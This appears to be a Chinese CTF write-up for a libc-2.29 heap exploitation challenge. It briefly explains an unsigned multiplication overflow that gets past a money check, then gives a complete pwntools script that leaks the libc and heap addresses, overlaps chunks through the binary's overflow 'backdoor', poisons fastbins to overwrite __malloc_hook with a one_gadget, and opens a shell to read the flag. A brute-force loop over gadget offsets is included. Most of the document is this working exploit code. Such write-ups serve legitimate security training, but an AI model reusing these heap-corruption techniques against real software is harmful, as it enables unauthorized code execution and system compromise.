libc-2.29 calloc建块,有两个后门一个可多写8字节一个可多写0x20字节
前边有个小冒,建块时需要money作size,由于用的是无符号数,不能直接用负数绕过,但由于他用了乘法,可以用乘法溢出:
if ( 857 * size > (unsigned __int64)qword_4010 )return puts("You don't have enough money!");
当size*857=A时,只要A的前半部分超过64位,后半部门很小就能绕过,这里直接用一个刚溢出的数除以857再加1就是第一个溢出后部最小的数。
((1<<64))//857+1
解题思路:
完整的:
from pwn import *
elf = ELF('./pwn')
context.arch = 'amd64'
def connect():
global p,libc_elf,one,libc_start_main_ret,local
local = 1
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 25491)
libc_elf = ELF('/home/shi/libc6_2.29-0ubuntu2/lib/x86_64-linux-gnu/libc-2.29.so')
one = [0xe21ce,0xe21d1,0xe21d4,0xe237f,0xe2383,0x106ef8]
libc_start_main_ret = 0x26b6b
menu = b"Choice: "
def add(idx, size):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendlineafter(b"Size: ", str(size).encode())
def free(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Index: ", str(idx).encode())
def show(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Index: ", str(idx).encode())
def edit(idx, msg):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendafter(b"Message: ", msg)
def backdoor(msg):
p.sendlineafter(menu, b'6')
p.sendafter(b"Give a super name: ", msg) #0x58 <- 0x60
def pwn(one_idx, one_off):
#get money
add(0, ((1<<64))//857+1)
free(0)
add(0, 0x50) #backdoor
add(1, 0x60)
add(2, 0x250) #6=2
add(3, 0x250) #7=3
add(4, 0x60) #8=4
add(5, 0x60)
free(0)
backdoor(b'A'*0x58+p64(0x70+0x260+0x260+0x70+1)[:-2] + b'\n')
free(1)
add(1, 0x60)
add(6, 0x250)
show(3)
libc_base = u64(p.recv(8)) - 0x60 - 0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
one_gadget = libc_base + one[one_idx]
print('libc:', hex(libc_base))
add(7, 0x250) #7==3
add(8, 0x60) #8==4
free(7)
free(6)
show(2)
p.recv(8)
heap_addr = u64(p.recv(8))
print('heap:', hex(heap_addr))
for i in range(7):
add(6, 0x60)
free(6)
free(5)
free(8)
edit(4, p64(libc_elf.sym['__malloc_hook'] - 0x23) + b'\n')
add(6, 0x60)
add(7, 0x60)
edit(7, b'\x00'*(3+8)+ p64(one_gadget) + p64(libc_elf.sym['realloc']+ one_off) + b'\n')
add(9, 0x60)
sleep(0.1)
p.sendline(b'cat /flag')
tmp = p.recv( timeout=0.2)
print(tmp)
if b'{' not in tmp:
raise('xxx')
p.interactive()
connect()
pwn(5,8)
'''
for i in range(6):
for j in [0,2,4,8,9,10,13]:
try:
print('[',i,']+',j)
connect()
pwn(i,j) #0,2,4,6,8,9,10,13
except KeyboardInterrupt as e:
exit()
except:
p.close()
'''